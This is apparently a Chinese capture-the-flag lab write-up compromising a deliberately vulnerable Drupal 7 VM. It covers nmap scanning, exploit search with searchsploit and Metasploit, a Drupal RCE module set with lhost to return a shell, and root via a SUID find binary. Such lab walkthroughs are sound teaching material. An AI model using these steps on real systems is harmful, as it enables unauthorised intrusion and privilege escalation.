信息收集

IP

用nmap扫描c段

1
nmap 192.168.56.101/24

img

56.1是我的win10物理机,56.101是Kali,所以靶机IP是:192.168.56.104

端口

1
nmap -sTVC 192.168.56.104

img

可以看到开了22,80和111端口

22和80比较熟悉了

111还不知道是个啥

WEB

whatweb看看

1
2
3
4
5
6
7
8
9
whatweb http://192.168.56.104/

{http://192.168.56.104/ [200 OK] Apache[2.2.22],
Content-Language[en], Country[RESERVED][ZZ], Drupal,
HTTPServer[Debian Linux][Apache/2.2.22 (Debian)],
IP[192.168.56.104], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)],
PHP[5.4.45-0+deb7u14], PasswordField[pass], Script[text/javascript],
Title[Welcome to Drupal Site | Drupal Site], UncommonHeaders[x-generator],
X-Powered-By[PHP/5.4.45-0+deb7u14] }

可以看到,用的CMS叫Drupal,版本是Drupal 7

search exp

我看了网上很多WP,直接一来就上msf搜,然后就说直接用2018年那个exp,也不说明为什么那个可以用(除了有一个说了:从最新日期的exp一个个试出来的,其他的都写的水的一批),你根本不知道他为什么要用那个exp,好像他在打靶机的时候,拿着别人的wp,开启上帝视角,开局就知道用哪个,没有任何判断。当然不排除写wp的人知道怎么判断的,但wp没有写出来,这种平铺直述的wp,你可以照做,但如果你不加任何思考的照做了,这对你个人的渗透思维的建立是极大的阻碍。

这里我给到我的思路和判断

  • 先用searchsploit搜索

searchspliot不是msf的一个模块,他是独立的,不需要进入msf环境,直接在bash里执行就好。

用searchsploit去搜索漏洞,本质上和你去ExploitDB这种网站搜索是一样的

1
searchsploit drupal 7

img

搜出来还挺多的,还有不少的RCE,有些后面标注了Metasploit,应该是在msf里有

那我们用管道符过滤一下msf里面有的

1
searchsploit drupal 7 | grep Metasploit

img

那我们再用msf验证一下

1
2
3
4
# 进入msf
msfconsole
# 搜索drupal,这里就最好不要带上个7了,因为msf没有写那么详细
search drupal

img

基本和上面的差不多

getshell

我首先用了第五个,因为他的日期最近,也在searchsploit里面出现过,但是利用失败了

img

然后我换到第1个(msf搜索的序号为1,实际上是上面的第二个),设置一波参数

1
2
3
4
5
6
7
show options

set rhosts 192.168.56.104
set lhost 192.168.56.101
# 其他的默认就好

run

img

成功拿下shell

提权

我个人喜欢先看suid提权,因为简单啊。内核提权还要去找脚本下脚本。

1
2
# 寻找有suid权限的命令
find / -perm -u=s -type f 2>/dev/null

然后看到find有suid权限,find提权,这不直接就拿下了吗?

img

flag

/root目录下的flag文档

1
2
3
cd /root
ls
cat thefinalflag.txt

img

完结撒花~

总结提升

总结

扫描c段拿到IP,扫面端口看开设的服务

发现80端口使用的是开源CMS-Drupal,找nday

存在RCE的nday,直接拿到shell

通过suid的find提权,拿到root权限,最终拿到flag

收获

看了下其他博客的思路,记录下不同点

  • 在拿shell的时候,有的师傅是根据sql注入写入管理员账号的nday打下来的,本质都差不多,我这个更加简单些
  • 才知道一共有5个flag,正打算去找其他flag的时候,去靶机下载的地方看了下作者的描述

There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

意思是:一共有5个flag,直接找最终的flag也是可以的

所以我就没再去找剩下四个flag